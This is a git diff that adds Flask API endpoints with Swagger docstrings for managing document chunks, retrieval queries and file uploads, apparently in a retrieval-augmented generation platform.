+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset.
+ - in: body
+ name: body
+ description: Parsing parameters.
+ required: true
+ schema:
+ type: object
+ properties:
+ document_ids:
+ type: array
+ items:
+ type: string
+ description: List of document IDs to parse.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ responses:
+ 200:
+ description: Parsing started successfully.
+ schema:
+ type: object
+ """
+ if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id):
+ return get_error_data_result(message=f"You don't own the dataset {dataset_id}.")
+ req = request.json
+ if not req.get("document_ids"):
+ return get_error_data_result("`document_ids` is required")
+ doc_list = req.get("document_ids")
+ unique_doc_ids, duplicate_messages = check_duplicate_ids(doc_list, "document")
+ doc_list = unique_doc_ids
+
+ not_found = []
+ success_count = 0
+ for id in doc_list:
+ doc = DocumentService.query(id=id, kb_id=dataset_id)
+ if not doc:
+ not_found.append(id)
+ continue
+ if not doc:
+ return get_error_data_result(message=f"You don't own the document {id}.")
+ if 0.0 < doc[0].progress < 1.0:
+ return get_error_data_result("Can't parse document that is currently being processed")
+ info = {"run": "1", "progress": 0, "progress_msg": "", "chunk_num": 0, "token_num": 0}
+ DocumentService.update_by_id(id, info)
+ settings.docStoreConn.delete({"doc_id": id}, search.index_name(tenant_id), dataset_id)
+ TaskService.filter_delete([Task.doc_id == id])
+ e, doc = DocumentService.get_by_id(id)
+ doc = doc.to_dict()
+ doc["tenant_id"] = tenant_id
+ bucket, name = File2DocumentService.get_storage_address(doc_id=doc["id"])
+ queue_tasks(doc, bucket, name, 0)
+ success_count += 1
+ if not_found:
+ return get_result(message=f"Documents not found: {not_found}", code=settings.RetCode.DATA_ERROR)
+ if duplicate_messages:
+ if success_count > 0:
+ return get_result(
+ message=f"Partially parsed {success_count} documents with {len(duplicate_messages)} errors",
+ data={"success_count": success_count, "errors": duplicate_messages},
+ )
+ else:
+ return get_error_data_result(message=";".join(duplicate_messages))
+
+ return get_result()
+
+
+@manager.route("/datasets//chunks", methods=["DELETE"]) # noqa: F821
+@token_required
+def stop_parsing(tenant_id, dataset_id):
+ """
+ Stop parsing documents into chunks.
+ ---
+ tags:
+ - Chunks
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset.
+ - in: body
+ name: body
+ description: Stop parsing parameters.
+ required: true
+ schema:
+ type: object
+ properties:
+ document_ids:
+ type: array
+ items:
+ type: string
+ description: List of document IDs to stop parsing.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ responses:
+ 200:
+ description: Parsing stopped successfully.
+ schema:
+ type: object
+ """
+ if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id):
+ return get_error_data_result(message=f"You don't own the dataset {dataset_id}.")
+ req = request.json
+
+ if not req.get("document_ids"):
+ return get_error_data_result("`document_ids` is required")
+ doc_list = req.get("document_ids")
+ unique_doc_ids, duplicate_messages = check_duplicate_ids(doc_list, "document")
+ doc_list = unique_doc_ids
+
+ success_count = 0
+ for id in doc_list:
+ doc = DocumentService.query(id=id, kb_id=dataset_id)
+ if not doc:
+ return get_error_data_result(message=f"You don't own the document {id}.")
+ if int(doc[0].progress) == 1 or doc[0].progress == 0:
+ return get_error_data_result("Can't stop parsing document with progress at 0 or 1")
+ info = {"run": "2", "progress": 0, "chunk_num": 0}
+ DocumentService.update_by_id(id, info)
+ settings.docStoreConn.delete({"doc_id": doc[0].id}, search.index_name(tenant_id), dataset_id)
+ success_count += 1
+ if duplicate_messages:
+ if success_count > 0:
+ return get_result(
+ message=f"Partially stopped {success_count} documents with {len(duplicate_messages)} errors",
+ data={"success_count": success_count, "errors": duplicate_messages},
+ )
+ else:
+ return get_error_data_result(message=";".join(duplicate_messages))
+ return get_result()
+
+
+@manager.route("/datasets//documents//chunks", methods=["GET"]) # noqa: F821
+@token_required
+def list_chunks(tenant_id, dataset_id, document_id):
+ """
+ List chunks of a document.
+ ---
+ tags:
+ - Chunks
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset.
+ - in: path
+ name: document_id
+ type: string
+ required: true
+ description: ID of the document.
+ - in: query
+ name: page
+ type: integer
+ required: false
+ default: 1
+ description: Page number.
+ - in: query
+ name: page_size
+ type: integer
+ required: false
+ default: 30
+ description: Number of items per page.
+ - in: query
+ name: id
+ type: string
+ required: false
+ default: ""
+ description: Chunk Id.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ responses:
+ 200:
+ description: List of chunks.
+ schema:
+ type: object
+ properties:
+ total:
+ type: integer
+ description: Total number of chunks.
+ chunks:
+ type: array
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ description: Chunk ID.
+ content:
+ type: string
+ description: Chunk content.
+ document_id:
+ type: string
+ description: ID of the document.
+ important_keywords:
+ type: array
+ items:
+ type: string
+ description: Important keywords.
+ image_id:
+ type: string
+ description: Image ID associated with the chunk.
+ doc:
+ type: object
+ description: Document details.
+ """
+ if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id):
+ return get_error_data_result(message=f"You don't own the dataset {dataset_id}.")
+ doc = DocumentService.query(id=document_id, kb_id=dataset_id)
+ if not doc:
+ return get_error_data_result(message=f"You don't own the document {document_id}.")
+ doc = doc[0]
+ req = request.args
+ doc_id = document_id
+ page = int(req.get("page", 1))
+ size = int(req.get("page_size", 30))
+ question = req.get("keywords", "")
+ query = {
+ "doc_ids": [doc_id],
+ "page": page,
+ "size": size,
+ "question": question,
+ "sort": True,
+ }
+ key_mapping = {
+ "chunk_num": "chunk_count",
+ "kb_id": "dataset_id",
+ "token_num": "token_count",
+ "parser_id": "chunk_method",
+ }
+ run_mapping = {
+ "0": "UNSTART",
+ "1": "RUNNING",
+ "2": "CANCEL",
+ "3": "DONE",
+ "4": "FAIL",
+ }
+ doc = doc.to_dict()
+ renamed_doc = {}
+ for key, value in doc.items():
+ new_key = key_mapping.get(key, key)
+ renamed_doc[new_key] = value
+ if key == "run":
+ renamed_doc["run"] = run_mapping.get(str(value))
+
+ res = {"total": 0, "chunks": [], "doc": renamed_doc}
+ if req.get("id"):
+ chunk = settings.docStoreConn.get(req.get("id"), search.index_name(tenant_id), [dataset_id])
+ if not chunk:
+ return get_result(message=f"Chunk not found: {dataset_id}/{req.get('id')}", code=settings.RetCode.NOT_FOUND)
+ k = []
+ for n in chunk.keys():
+ if re.search(r"(_vec$|_sm_|_tks|_ltks)", n):
+ k.append(n)
+ for n in k:
+ del chunk[n]
+ if not chunk:
+ return get_error_data_result(f"Chunk `{req.get('id')}` not found.")
+ res["total"] = 1
+ final_chunk = {
+ "id": chunk.get("id", chunk.get("chunk_id")),
+ "content": chunk["content_with_weight"],
+ "document_id": chunk.get("doc_id", chunk.get("document_id")),
+ "docnm_kwd": chunk["docnm_kwd"],
+ "important_keywords": chunk.get("important_kwd", []),
+ "questions": chunk.get("question_kwd", []),
+ "dataset_id": chunk.get("kb_id", chunk.get("dataset_id")),
+ "image_id": chunk.get("img_id", ""),
+ "available": bool(chunk.get("available_int", 1)),
+ "positions": chunk.get("position_int", []),
+ }
+ res["chunks"].append(final_chunk)
+ _ = Chunk(**final_chunk)
+
+ elif settings.docStoreConn.indexExist(search.index_name(tenant_id), dataset_id):
+ sres = settings.retrievaler.search(query, search.index_name(tenant_id), [dataset_id], emb_mdl=None, highlight=True)
+ res["total"] = sres.total
+ for id in sres.ids:
+ d = {
+ "id": id,
+ "content": (rmSpace(sres.highlight[id]) if question and id in sres.highlight else sres.field[id].get("content_with_weight", "")),
+ "document_id": sres.field[id]["doc_id"],
+ "docnm_kwd": sres.field[id]["docnm_kwd"],
+ "important_keywords": sres.field[id].get("important_kwd", []),
+ "questions": sres.field[id].get("question_kwd", []),
+ "dataset_id": sres.field[id].get("kb_id", sres.field[id].get("dataset_id")),
+ "image_id": sres.field[id].get("img_id", ""),
+ "available": bool(int(sres.field[id].get("available_int", "1"))),
+ "positions": sres.field[id].get("position_int", []),
+ }
+ res["chunks"].append(d)
+ _ = Chunk(**d) # validate the chunk
+ return get_result(data=res)
+
+
+@manager.route( # noqa: F821
+ "/datasets//documents//chunks", methods=["POST"]
+)
+@token_required
+def add_chunk(tenant_id, dataset_id, document_id):
+ """
+ Add a chunk to a document.
+ ---
+ tags:
+ - Chunks
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset.
+ - in: path
+ name: document_id
+ type: string
+ required: true
+ description: ID of the document.
+ - in: body
+ name: body
+ description: Chunk data.
+ required: true
+ schema:
+ type: object
+ properties:
+ content:
+ type: string
+ required: true
+ description: Content of the chunk.
+ important_keywords:
+ type: array
+ items:
+ type: string
+ description: Important keywords.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ responses:
+ 200:
+ description: Chunk added successfully.
+ schema:
+ type: object
+ properties:
+ chunk:
+ type: object
+ properties:
+ id:
+ type: string
+ description: Chunk ID.
+ content:
+ type: string
+ description: Chunk content.
+ document_id:
+ type: string
+ description: ID of the document.
+ important_keywords:
+ type: array
+ items:
+ type: string
+ description: Important keywords.
+ """
+ if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id):
+ return get_error_data_result(message=f"You don't own the dataset {dataset_id}.")
+ doc = DocumentService.query(id=document_id, kb_id=dataset_id)
+ if not doc:
+ return get_error_data_result(message=f"You don't own the document {document_id}.")
+ doc = doc[0]
+ req = request.json
+ if not str(req.get("content", "")).strip():
+ return get_error_data_result(message="`content` is required")
+ if "important_keywords" in req:
+ if not isinstance(req["important_keywords"], list):
+ return get_error_data_result("`important_keywords` is required to be a list")
+ if "questions" in req:
+ if not isinstance(req["questions"], list):
+ return get_error_data_result("`questions` is required to be a list")
+ chunk_id = xxhash.xxh64((req["content"] + document_id).encode("utf-8")).hexdigest()
+ d = {
+ "id": chunk_id,
+ "content_ltks": rag_tokenizer.tokenize(req["content"]),
+ "content_with_weight": req["content"],
+ }
+ d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"])
+ d["important_kwd"] = req.get("important_keywords", [])
+ d["important_tks"] = rag_tokenizer.tokenize(" ".join(req.get("important_keywords", [])))
+ d["question_kwd"] = [str(q).strip() for q in req.get("questions", []) if str(q).strip()]
+ d["question_tks"] = rag_tokenizer.tokenize("\n".join(req.get("questions", [])))
+ d["create_time"] = str(datetime.datetime.now()).replace("T", " ")[:19]
+ d["create_timestamp_flt"] = datetime.datetime.now().timestamp()
+ d["kb_id"] = dataset_id
+ d["docnm_kwd"] = doc.name
+ d["doc_id"] = document_id
+ embd_id = DocumentService.get_embd_id(document_id)
+ embd_mdl = TenantLLMService.model_instance(tenant_id, LLMType.EMBEDDING.value, embd_id)
+ v, c = embd_mdl.encode([doc.name, req["content"] if not d["question_kwd"] else "\n".join(d["question_kwd"])])
+ v = 0.1 * v[0] + 0.9 * v[1]
+ d["q_%d_vec" % len(v)] = v.tolist()
+ settings.docStoreConn.insert([d], search.index_name(tenant_id), dataset_id)
+
+ DocumentService.increment_chunk_num(doc.id, doc.kb_id, c, 1, 0)
+ # rename keys
+ key_mapping = {
+ "id": "id",
+ "content_with_weight": "content",
+ "doc_id": "document_id",
+ "important_kwd": "important_keywords",
+ "question_kwd": "questions",
+ "kb_id": "dataset_id",
+ "create_timestamp_flt": "create_timestamp",
+ "create_time": "create_time",
+ "document_keyword": "document",
+ }
+ renamed_chunk = {}
+ for key, value in d.items():
+ if key in key_mapping:
+ new_key = key_mapping.get(key, key)
+ renamed_chunk[new_key] = value
+ _ = Chunk(**renamed_chunk) # validate the chunk
+ return get_result(data={"chunk": renamed_chunk})
+ # return get_result(data={"chunk_id": chunk_id})
+
+
+@manager.route( # noqa: F821
+ "datasets//documents//chunks", methods=["DELETE"]
+)
+@token_required
+def rm_chunk(tenant_id, dataset_id, document_id):
+ """
+ Remove chunks from a document.
+ ---
+ tags:
+ - Chunks
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset.
+ - in: path
+ name: document_id
+ type: string
+ required: true
+ description: ID of the document.
+ - in: body
+ name: body
+ description: Chunk removal parameters.
+ required: true
+ schema:
+ type: object
+ properties:
+ chunk_ids:
+ type: array
+ items:
+ type: string
+ description: List of chunk IDs to remove.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ responses:
+ 200:
+ description: Chunks removed successfully.
+ schema:
+ type: object
+ """
+ if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id):
+ return get_error_data_result(message=f"You don't own the dataset {dataset_id}.")
+ docs = DocumentService.get_by_ids([document_id])
+ if not docs:
+ raise LookupError(f"Can't find the document with ID {document_id}!")
+ req = request.json
+ condition = {"doc_id": document_id}
+ if "chunk_ids" in req:
+ unique_chunk_ids, duplicate_messages = check_duplicate_ids(req["chunk_ids"], "chunk")
+ condition["id"] = unique_chunk_ids
+ chunk_number = settings.docStoreConn.delete(condition, search.index_name(tenant_id), dataset_id)
+ if chunk_number != 0:
+ DocumentService.decrement_chunk_num(document_id, dataset_id, 1, chunk_number, 0)
+ if "chunk_ids" in req and chunk_number != len(unique_chunk_ids):
+ if len(unique_chunk_ids) == 0:
+ return get_result(message=f"deleted {chunk_number} chunks")
+ return get_error_data_result(message=f"rm_chunk deleted chunks {chunk_number}, expect {len(unique_chunk_ids)}")
+ if duplicate_messages:
+ return get_result(
+ message=f"Partially deleted {chunk_number} chunks with {len(duplicate_messages)} errors",
+ data={"success_count": chunk_number, "errors": duplicate_messages},
+ )
+ return get_result(message=f"deleted {chunk_number} chunks")
+
+
+@manager.route( # noqa: F821
+ "/datasets//documents//chunks/", methods=["PUT"]
+)
+@token_required
+def update_chunk(tenant_id, dataset_id, document_id, chunk_id):
+ """
+ Update a chunk within a document.
+ ---
+ tags:
+ - Chunks
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset.
+ - in: path
+ name: document_id
+ type: string
+ required: true
+ description: ID of the document.
+ - in: path
+ name: chunk_id
+ type: string
+ required: true
+ description: ID of the chunk to update.
+ - in: body
+ name: body
+ description: Chunk update parameters.
+ required: true
+ schema:
+ type: object
+ properties:
+ content:
+ type: string
+ description: Updated content of the chunk.
+ important_keywords:
+ type: array
+ items:
+ type: string
+ description: Updated important keywords.
+ available:
+ type: boolean
+ description: Availability status of the chunk.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ responses:
+ 200:
+ description: Chunk updated successfully.
+ schema:
+ type: object
+ """
+ chunk = settings.docStoreConn.get(chunk_id, search.index_name(tenant_id), [dataset_id])
+ if chunk is None:
+ return get_error_data_result(f"Can't find this chunk {chunk_id}")
+ if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id):
+ return get_error_data_result(message=f"You don't own the dataset {dataset_id}.")
+ doc = DocumentService.query(id=document_id, kb_id=dataset_id)
+ if not doc:
+ return get_error_data_result(message=f"You don't own the document {document_id}.")
+ doc = doc[0]
+ req = request.json
+ if "content" in req:
+ content = req["content"]
+ else:
+ content = chunk.get("content_with_weight", "")
+ d = {"id": chunk_id, "content_with_weight": content}
+ d["content_ltks"] = rag_tokenizer.tokenize(d["content_with_weight"])
+ d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"])
+ if "important_keywords" in req:
+ if not isinstance(req["important_keywords"], list):
+ return get_error_data_result("`important_keywords` should be a list")
+ d["important_kwd"] = req.get("important_keywords", [])
+ d["important_tks"] = rag_tokenizer.tokenize(" ".join(req["important_keywords"]))
+ if "questions" in req:
+ if not isinstance(req["questions"], list):
+ return get_error_data_result("`questions` should be a list")
+ d["question_kwd"] = [str(q).strip() for q in req.get("questions", []) if str(q).strip()]
+ d["question_tks"] = rag_tokenizer.tokenize("\n".join(req["questions"]))
+ if "available" in req:
+ d["available_int"] = int(req["available"])
+ embd_id = DocumentService.get_embd_id(document_id)
+ embd_mdl = TenantLLMService.model_instance(tenant_id, LLMType.EMBEDDING.value, embd_id)
+ if doc.parser_id == ParserType.QA:
+ arr = [t for t in re.split(r"[\n\t]", d["content_with_weight"]) if len(t) > 1]
+ if len(arr) != 2:
+ return get_error_data_result(message="Q&A must be separated by TAB/ENTER key.")
+ q, a = rmPrefix(arr[0]), rmPrefix(arr[1])
+ d = beAdoc(d, arr[0], arr[1], not any([rag_tokenizer.is_chinese(t) for t in q + a]))
+
+ v, c = embd_mdl.encode([doc.name, d["content_with_weight"] if not d.get("question_kwd") else "\n".join(d["question_kwd"])])
+ v = 0.1 * v[0] + 0.9 * v[1] if doc.parser_id != ParserType.QA else v[1]
+ d["q_%d_vec" % len(v)] = v.tolist()
+ settings.docStoreConn.update({"id": chunk_id}, d, search.index_name(tenant_id), dataset_id)
+ return get_result()
+
+
+@manager.route("/retrieval", methods=["POST"]) # noqa: F821
+@token_required
+def retrieval_test(tenant_id):
+ """
+ Retrieve chunks based on a query.
+ ---
+ tags:
+ - Retrieval
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: body
+ name: body
+ description: Retrieval parameters.
+ required: true
+ schema:
+ type: object
+ properties:
+ dataset_ids:
+ type: array
+ items:
+ type: string
+ required: true
+ description: List of dataset IDs to search in.
+ question:
+ type: string
+ required: true
+ description: Query string.
+ document_ids:
+ type: array
+ items:
+ type: string
+ description: List of document IDs to filter.
+ similarity_threshold:
+ type: number
+ format: float
+ description: Similarity threshold.
+ vector_similarity_weight:
+ type: number
+ format: float
+ description: Vector similarity weight.
+ top_k:
+ type: integer
+ description: Maximum number of chunks to return.
+ highlight:
+ type: boolean
+ description: Whether to highlight matched content.
+ metadata_condition:
+ type: object
+ description: metadata filter condition.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ responses:
+ 200:
+ description: Retrieval results.
+ schema:
+ type: object
+ properties:
+ chunks:
+ type: array
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ description: Chunk ID.
+ content:
+ type: string
+ description: Chunk content.
+ document_id:
+ type: string
+ description: ID of the document.
+ dataset_id:
+ type: string
+ description: ID of the dataset.
+ similarity:
+ type: number
+ format: float
+ description: Similarity score.
+ """
+ req = request.json
+ if not req.get("dataset_ids"):
+ return get_error_data_result("`dataset_ids` is required.")
+ kb_ids = req["dataset_ids"]
+ if not isinstance(kb_ids, list):
+ return get_error_data_result("`dataset_ids` should be a list")
+ for id in kb_ids:
+ if not KnowledgebaseService.accessible(kb_id=id, user_id=tenant_id):
+ return get_error_data_result(f"You don't own the dataset {id}.")
+ kbs = KnowledgebaseService.get_by_ids(kb_ids)
+ embd_nms = list(set([TenantLLMService.split_model_name_and_factory(kb.embd_id)[0] for kb in kbs])) # remove vendor suffix for comparison
+ if len(embd_nms) != 1:
+ return get_result(
+ message='Datasets use different embedding models."',
+ code=settings.RetCode.DATA_ERROR,
+ )
+ if "question" not in req:
+ return get_error_data_result("`question` is required.")
+ page = int(req.get("page", 1))
+ size = int(req.get("page_size", 30))
+ question = req["question"]
+ doc_ids = req.get("document_ids", [])
+ use_kg = req.get("use_kg", False)
+ langs = req.get("cross_languages", [])
+ if not isinstance(doc_ids, list):
+ return get_error_data_result("`documents` should be a list")
+ doc_ids_list = KnowledgebaseService.list_documents_by_ids(kb_ids)
+ for doc_id in doc_ids:
+ if doc_id not in doc_ids_list:
+ return get_error_data_result(f"The datasets don't own the document {doc_id}")
+ if not doc_ids:
+ metadata_condition = req.get("metadata_condition", {})
+ metas = DocumentService.get_meta_by_kbs(kb_ids)
+ doc_ids = meta_filter(metas, convert_conditions(metadata_condition))
+ similarity_threshold = float(req.get("similarity_threshold", 0.2))
+ vector_similarity_weight = float(req.get("vector_similarity_weight", 0.3))
+ top = int(req.get("top_k", 1024))
+ if req.get("highlight") == "False" or req.get("highlight") == "false":
+ highlight = False
+ else:
+ highlight = True
+ try:
+ tenant_ids = list(set([kb.tenant_id for kb in kbs]))
+ e, kb = KnowledgebaseService.get_by_id(kb_ids[0])
+ if not e:
+ return get_error_data_result(message="Dataset not found!")
+ embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING, llm_name=kb.embd_id)
+
+ rerank_mdl = None
+ if req.get("rerank_id"):
+ rerank_mdl = LLMBundle(kb.tenant_id, LLMType.RERANK, llm_name=req["rerank_id"])
+
+ if langs:
+ question = cross_languages(kb.tenant_id, None, question, langs)
+
+ if req.get("keyword", False):
+ chat_mdl = LLMBundle(kb.tenant_id, LLMType.CHAT)
+ question += keyword_extraction(chat_mdl, question)
+
+ ranks = settings.retrievaler.retrieval(
+ question,
+ embd_mdl,
+ tenant_ids,
+ kb_ids,
+ page,
+ size,
+ similarity_threshold,
+ vector_similarity_weight,
+ top,
+ doc_ids,
+ rerank_mdl=rerank_mdl,
+ highlight=highlight,
+ rank_feature=label_question(question, kbs),
+ )
+ if use_kg:
+ ck = settings.kg_retrievaler.retrieval(question, [k.tenant_id for k in kbs], kb_ids, embd_mdl, LLMBundle(kb.tenant_id, LLMType.CHAT))
+ if ck["content_with_weight"]:
+ ranks["chunks"].insert(0, ck)
+
+ for c in ranks["chunks"]:
+ c.pop("vector", None)
+
+ ##rename keys
+ renamed_chunks = []
+ for chunk in ranks["chunks"]:
+ key_mapping = {
+ "chunk_id": "id",
+ "content_with_weight": "content",
+ "doc_id": "document_id",
+ "important_kwd": "important_keywords",
+ "question_kwd": "questions",
+ "docnm_kwd": "document_keyword",
+ "kb_id": "dataset_id",
+ }
+ rename_chunk = {}
+ for key, value in chunk.items():
+ new_key = key_mapping.get(key, key)
+ rename_chunk[new_key] = value
+ renamed_chunks.append(rename_chunk)
+ ranks["chunks"] = renamed_chunks
+ return get_result(data=ranks)
+ except Exception as e:
+ if str(e).find("not_found") > 0:
+ return get_result(
+ message="No chunk found! Check the chunk status please!",
+ code=settings.RetCode.DATA_ERROR,
+ )
+ return server_error_response(e)
diff --git a/api/apps/sdk/files.py b/api/apps/sdk/files.py
new file mode 100644
index 0000000..96efe20
--- /dev/null
+++ b/api/apps/sdk/files.py
@@ -0,0 +1,738 @@
+import pathlib
+import re
+
+import flask
+from flask import request
+from pathlib import Path
+
+from api.db.services.document_service import DocumentService
+from api.db.services.file2document_service import File2DocumentService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.utils.api_utils import server_error_response, token_required
+from api.utils import get_uuid
+from api.db import FileType
+from api.db.services import duplicate_name
+from api.db.services.file_service import FileService
+from api.utils.api_utils import get_json_result
+from api.utils.file_utils import filename_type
+from rag.utils.storage_factory import STORAGE_IMPL
+
+@manager.route('/file/upload', methods=['POST']) # noqa: F821
+@token_required
+def upload(tenant_id):
+ """
+ Upload a file to the system.
+ ---
+ tags:
+ - File Management
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: formData
+ name: file
+ type: file
+ required: true
+ description: The file to upload
+ - in: formData
+ name: parent_id
+ type: string
+ description: Parent folder ID where the file will be uploaded. Optional.
+ responses:
+ 200:
+ description: Successfully uploaded the file.
+ schema:
+ type: object
+ properties:
+ data:
+ type: array
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ description: File ID
+ name:
+ type: string
+ description: File name
+ size:
+ type: integer
+ description: File size in bytes
+ type:
+ type: string
+ description: File type (e.g., document, folder)
+ """
+ pf_id = request.form.get("parent_id")
+
+ if not pf_id:
+ root_folder = FileService.get_root_folder(tenant_id)
+ pf_id = root_folder["id"]
+
+ if 'file' not in request.files:
+ return get_json_result(data=False, message='No file part!', code=400)
+ file_objs = request.files.getlist('file')
+
+ for file_obj in file_objs:
+ if file_obj.filename == '':
+ return get_json_result(data=False, message='No selected file!', code=400)
+
+ file_res = []
+
+ try:
+ e, pf_folder = FileService.get_by_id(pf_id)
+ if not e:
+ return get_json_result(data=False, message="Can't find this folder!", code=404)
+
+ for file_obj in file_objs:
+ # Handle file path
+ full_path = '/' + file_obj.filename
+ file_obj_names = full_path.split('/')
+ file_len = len(file_obj_names)
+
+ # Get folder path ID
+ file_id_list = FileService.get_id_list_by_id(pf_id, file_obj_names, 1, [pf_id])
+ len_id_list = len(file_id_list)
+
+ # Crete file folder
+ if file_len != len_id_list:
+ e, file = FileService.get_by_id(file_id_list[len_id_list - 1])
+ if not e:
+ return get_json_result(data=False, message="Folder not found!", code=404)
+ last_folder = FileService.create_folder(file, file_id_list[len_id_list - 1], file_obj_names, len_id_list)
+ else:
+ e, file = FileService.get_by_id(file_id_list[len_id_list - 2])
+ if not e:
+ return get_json_result(data=False, message="Folder not found!", code=404)
+ last_folder = FileService.create_folder(file, file_id_list[len_id_list - 2], file_obj_names, len_id_list)
+
+ filetype = filename_type(file_obj_names[file_len - 1])
+ location = file_obj_names[file_len - 1]
+ while STORAGE_IMPL.obj_exist(last_folder.id, location):
+ location += "_"
+ blob = file_obj.read()
+ filename = duplicate_name(FileService.query, name=file_obj_names[file_len - 1], parent_id=last_folder.id)
+
+ file = {
+ "id": get_uuid(),
+ "parent_id": last_folder.id,
+ "tenant_id": tenant_id,
+ "created_by": tenant_id,
+ "type": filetype,
+ "name": filename,
+ "location": location,
+ "size": len(blob),
+ }
+ file = FileService.insert(file)
+ STORAGE_IMPL.put(last_folder.id, location, blob)
+ file_res.append(file.to_json())
+ return get_json_result(data=file_res)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/file/create', methods=['POST']) # noqa: F821
+@token_required
+def create(tenant_id):
+ """
+ Create a new file or folder.
+ ---
+ tags:
+ - File Management
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: body
+ name: body
+ description: File creation parameters
+ required: true
+ schema:
+ type: object
+ properties:
+ name:
+ type: string
+ description: Name of the file/folder
+ parent_id:
+ type: string
+ description: Parent folder ID. Optional.
+ type:
+ type: string
+ enum: ["FOLDER", "VIRTUAL"]
+ description: Type of the file
+ responses:
+ 200:
+ description: File created successfully.
+ schema:
+ type: object
+ properties:
+ data:
+ type: object
+ properties:
+ id:
+ type: string
+ name:
+ type: string
+ type:
+ type: string
+ """
+ req = request.json
+ pf_id = request.json.get("parent_id")
+ input_file_type = request.json.get("type")
+ if not pf_id:
+ root_folder = FileService.get_root_folder(tenant_id)
+ pf_id = root_folder["id"]
+
+ try:
+ if not FileService.is_parent_folder_exist(pf_id):
+ return get_json_result(data=False, message="Parent Folder Doesn't Exist!", code=400)
+ if FileService.query(name=req["name"], parent_id=pf_id):
+ return get_json_result(data=False, message="Duplicated folder name in the same folder.", code=409)
+
+ if input_file_type == FileType.FOLDER.value:
+ file_type = FileType.FOLDER.value
+ else:
+ file_type = FileType.VIRTUAL.value
+
+ file = FileService.insert({
+ "id": get_uuid(),
+ "parent_id": pf_id,
+ "tenant_id": tenant_id,
+ "created_by": tenant_id,
+ "name": req["name"],
+ "location": "",
+ "size": 0,
+ "type": file_type
+ })
+
+ return get_json_result(data=file.to_json())
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/file/list', methods=['GET']) # noqa: F821
+@token_required
+def list_files(tenant_id):
+ """
+ List files under a specific folder.
+ ---
+ tags:
+ - File Management
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: query
+ name: parent_id
+ type: string
+ description: Folder ID to list files from
+ - in: query
+ name: keywords
+ type: string
+ description: Search keyword filter
+ - in: query
+ name: page
+ type: integer
+ default: 1
+ description: Page number
+ - in: query
+ name: page_size
+ type: integer
+ default: 15
+ description: Number of results per page
+ - in: query
+ name: orderby
+ type: string
+ default: "create_time"
+ description: Sort by field
+ - in: query
+ name: desc
+ type: boolean
+ default: true
+ description: Descending order
+ responses:
+ 200:
+ description: Successfully retrieved file list.
+ schema:
+ type: object
+ properties:
+ total:
+ type: integer
+ files:
+ type: array
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ name:
+ type: string
+ type:
+ type: string
+ size:
+ type: integer
+ create_time:
+ type: string
+ format: date-time
+ """
+ pf_id = request.args.get("parent_id")
+ keywords = request.args.get("keywords", "")
+ page_number = int(request.args.get("page", 1))
+ items_per_page = int(request.args.get("page_size", 15))
+ orderby = request.args.get("orderby", "create_time")
+ desc = request.args.get("desc", True)
+
+ if not pf_id:
+ root_folder = FileService.get_root_folder(tenant_id)
+ pf_id = root_folder["id"]
+ FileService.init_knowledgebase_docs(pf_id, tenant_id)
+
+ try:
+ e, file = FileService.get_by_id(pf_id)
+ if not e:
+ return get_json_result(message="Folder not found!", code=404)
+
+ files, total = FileService.get_by_pf_id(tenant_id, pf_id, page_number, items_per_page, orderby, desc, keywords)
+
+ parent_folder = FileService.get_parent_folder(pf_id)
+ if not parent_folder:
+ return get_json_result(message="File not found!", code=404)
+
+ return get_json_result(data={"total": total, "files": files, "parent_folder": parent_folder.to_json()})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/file/root_folder', methods=['GET']) # noqa: F821
+@token_required
+def get_root_folder(tenant_id):
+ """
+ Get user's root folder.
+ ---
+ tags:
+ - File Management
+ security:
+ - ApiKeyAuth: []
+ responses:
+ 200:
+ description: Root folder information
+ schema:
+ type: object
+ properties:
+ data:
+ type: object
+ properties:
+ root_folder:
+ type: object
+ properties:
+ id:
+ type: string
+ name:
+ type: string
+ type:
+ type: string
+ """
+ try:
+ root_folder = FileService.get_root_folder(tenant_id)
+ return get_json_result(data={"root_folder": root_folder})
+ except Exception as e:
+ return server_error_response(e)
+
+
